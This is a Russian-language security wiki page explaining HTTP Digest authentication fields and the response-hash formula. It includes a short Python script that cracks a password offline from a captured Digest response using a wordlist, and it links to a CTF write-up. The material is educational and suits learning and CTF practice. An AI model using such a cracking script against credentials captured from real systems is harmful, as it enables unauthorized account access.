Digest auth

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск

Дайджест-аутентификация доступа


Описание HTTP Authorization Header

username - юзернейм авторизованного пользователя


realm - сообщение (вероятнее всего содержимое страницы)


nonce - случайно сгенерированный хеш - по стандарту md5($_SERVER[‘REMOTE_ADDR’] . ‘:’ . time() . ‘:случайная_строка’);


uri - URI страницы авторизации


response

  1. md5(
  2. 	md5(
  3. 		username +":"+ realm + ":" + pass
  4. 	) 
  5.  
  6. 	+ ":" + nonce + ":" +
  7.  
  8. 	md5(
  9. 		REQUEST_METHOD+ ":" + REQUEST_URI
  10. 	)
  11. );

opaque - строка, предоставленная сервером, которая должна дублироваться в запросе от клиента. Предпочитаемо base64 или hexademical.


qop - метод вычисления. Может быть равен auth, auth-int или не определен.


nc - номер запроса клиента из текущей сессии. Пример: 00000002


cnonce - строка, генерируемая клиентом перед каждым запросом.

Brutforce

Скрипт для брутфорса пароля зная куки:


  1. ############################################################################
  2. method="GET"
  3. uri = "/login.php"
  4. username = "factoreal"
  5. realm = "this page for admin only, go out now!"
  6. nonce = "554aed8c0b2d8"
  7. nc = "00000001"
  8. cnonce = "d6d1a0a39a93b4c3"
  9. qop = "auth"
  10. response="d9b58c347f96195884ce27036f3c9546"
  11. ############################################################################
  12. import hashlib
  13. password = open('passwords.txt').read().splitlines()
  14. h2 = hashlib.md5(method+":"+uri).hexdigest()
  15. for i in range(len(password)):
  16.     h1 = hashlib.md5(username+":"+realm+":" + password[i]).hexdigest()
  17.     result = hashlib.md5(h1 + ":"+nonce+":"+nc+":"+cnonce+":"+qop+":" + h2).hexdigest()
  18.     if result == response:
  19.         print "[*] Password found: " + password[i]
  20.         exit()


Райтапы

ASIS Quals CTF 2015: Strange Authen


Полезные ссылки

официальная вики страница

полное описание RFC

статья журнала Хакер

описание параметров